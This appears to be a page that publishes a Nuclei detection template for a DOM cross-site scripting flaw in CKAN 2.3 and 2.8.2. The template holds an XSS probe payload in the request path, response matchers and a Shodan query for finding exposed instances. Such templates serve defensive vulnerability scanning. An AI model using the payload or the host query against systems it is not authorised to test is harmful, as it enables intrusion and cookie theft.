CKAN - DOM Cross-Site Scripting

ID: ckan-dom-based-xss

Severity: high

Author: dhiyaneshDk

Tags: dom,xss

Description

CKAN contains a cross-site scripting vulnerability in the document object model via the previous version of the jQuery Sparkle library. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.

YAML Source

id: ckan-dom-based-xss

info:
  name: CKAN - DOM Cross-Site Scripting
  author: dhiyaneshDk
  severity: high
  description: CKAN contains a cross-site scripting vulnerability in the document object model via the previous version of the jQuery Sparkle library. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/ckan/ckan/blob/b9e45e2723d4abd70fa72b16ec4a0bebc795c56b/ckan/public/base/javascript/view-filters.js#L27
    - https://security.snyk.io/vuln/SNYK-PYTHON-CKAN-42010
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
    cpe: cpe:2.3:a:okfn:ckan:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"ckan 2.8.2" || html:"ckan 2.3"
    product: ckan
    vendor: okfn
  tags: dom,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/?{alert(document.domain)}'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<option value="/en/?{alert(document.domain)}" selected="selected">'

      - type: word
        part: body
        words:
          - 'ckan 2.3'
          - 'ckan 2.8.2'
        condition: or

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fcaa944b8466e7f8aaf2e4ca612b31175a4b9f33d1727f79584e1cad32808bc402205475127414d00cf94ffbd4a75d77b4a28b5768f762e760a08f5325b3da0374cc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/ckan-dom-based-xss.yaml"

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